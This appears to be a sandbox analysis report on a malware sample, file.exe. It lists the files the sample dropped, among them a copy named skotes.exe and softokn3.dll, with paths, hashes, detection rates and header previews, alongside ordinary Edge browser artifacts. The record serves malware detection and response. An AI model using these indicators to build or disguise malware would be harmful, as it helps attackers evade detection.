Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912832
Entropy (8bit):	7.94825176734346
Encrypted:	false
SSDEEP:	49152:5W91Z2uLsFeB979bEYiVtk8g/Tn7KFPcV316PW:0H20P97+YQb67KxwF
MD5:	EFA562638C762CA57F68C4E25E85718B
SHA1:	0AE937AC0181E5510953395BD57C04E89F8001F4
SHA-256:	7A2BE1766FE207A4736269F982B6708C9392AE418683298EF6544D0DDB85596A
SHA-512:	9086DED9AC09A4EB556294495E8035EF1DC1757B2EBFCBDA50A5B721A7FD9E3E19DB56E1892CB5466E09E11F458C551BABCA8EFCC41AC3A0C320B65F3125F23E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k.......H....................K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...ouutfhzy. ...p1.....................@...nnqcftdu......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0acdd2da-f696-479d-b5dc-1413c74647e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\2f3ebe29-ce86-4e4e-b4c4-49980a46341b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\374b45d5-902f-4f6a-bcb6-23d0757272ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\3d21e51e-e2d9-4d15-b4ef-e2d7a61dbe39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\3e35b20f-4a02-4d01-868d-9f587c54ae37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9d67ac9b-1656-4f99-806d-a975d2332d84.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFHJKKECFIE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912832
Entropy (8bit):	7.94825176734346
Encrypted:	false
SSDEEP:	49152:5W91Z2uLsFeB979bEYiVtk8g/Tn7KFPcV316PW:0H20P97+YQb67KxwF
MD5:	EFA562638C762CA57F68C4E25E85718B
SHA1:	0AE937AC0181E5510953395BD57C04E89F8001F4
SHA-256:	7A2BE1766FE207A4736269F982B6708C9392AE418683298EF6544D0DDB85596A
SHA-512:	9086DED9AC09A4EB556294495E8035EF1DC1757B2EBFCBDA50A5B721A7FD9E3E19DB56E1892CB5466E09E11F458C551BABCA8EFCC41AC3A0C320B65F3125F23E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k.......H....................K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...ouutfhzy. ...p1.....................@...nnqcftdu......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.397679414091826
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0ZR4mO5gR1t0ZR145M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5R
MD5:	7E88FF11CF080AC6A6C798C516297669
SHA1:	81F09BA3A1A9A611DA974F73B7A3FC31E7059C82
SHA-256:	A44A0C0CDB1E5C871630D6FAA1A7C1E0D378DADB49E2579D652D87747004856D
SHA-512:	38858DF12E52A50267806CD6D6D3D598E2A72DE10342C3CB33A0ABEAE07C878A7D6EFD10E0B46A97003F32E5B1FEDE56F41A54E708CF220AEB2FAB2BFAFC8D0D
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\e04ada0c-0d65-4537-aa92-72638ae1b819.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1542788
Entropy (8bit):	7.992706687822227
Encrypted:	true
SSDEEP:	24576:LelHBcmHrfD5VQvfIQ3+B8CFQqZgBFvsCf5kaIJhjhsFOU2gHoKLOHMwpRH9A90I:ahJLfD5VifJOiIQ/b0CfLIjjhsF5bFLP
MD5:	CE884D9D0BE6AF036F398ADEF20CB23B
SHA1:	DB688967374FBBE571BF9809FA1F69DFB37E42C5
SHA-256:	AE8908DE9C4B210AD47DAB21F4BD4B300F0E95A83E6BCB5F82D43067D827ABD5
SHA-512:	D3701E647BCA2CAA06E0103D6BB2939B316DF9025960E2AC88574698712FD71B94BFAAAC1310DD51D0AF885F374A7E040B8722A422B54C53B1C83C0F6A658166
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.....pHYs...........k.....iTXtXML:com.adobe.xmp.....<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:tiff="http://ns.adobe.com/tiff/1.0/"><tiff:Orientation>1</tiff:Orientation></rdf:Description></rdf:RDF></x:xmpmeta>..<?xpacket end='w'?>,.......IDAThC.Io#Iz.....L&W.Z(j.*U..l_.Kl.a``......0.1...G.?a.d.in...x..J..E...L.1.Lj+..U.....Tf,o..E\|oD......-.]S.-Tb.a..A...M.;..M.ea..!.X.n......?..<0....4IU.$......h..fh.8M. <..#f?../.J.U.(W.........aq?.....T.q....N4w.b.7?....84[{-v..R..... .Cd-Rw....o{.....K"q....!\^.v/..`........;;O..'..sA....`..D.V..". .......\.D...( .`>......N...e[L..O....=2.>}...}..P....#".....,...w.w.H>"A..>t.Q....O._....M.........R.5....oO........$.......^.gm..X6XV.<.}!H4.z.m...PJ}...F.XNM.P.i6+\|.U...8..B\|? .#.4}...#M

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\0acdd2da-f696-479d-b5dc-1413c74647e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
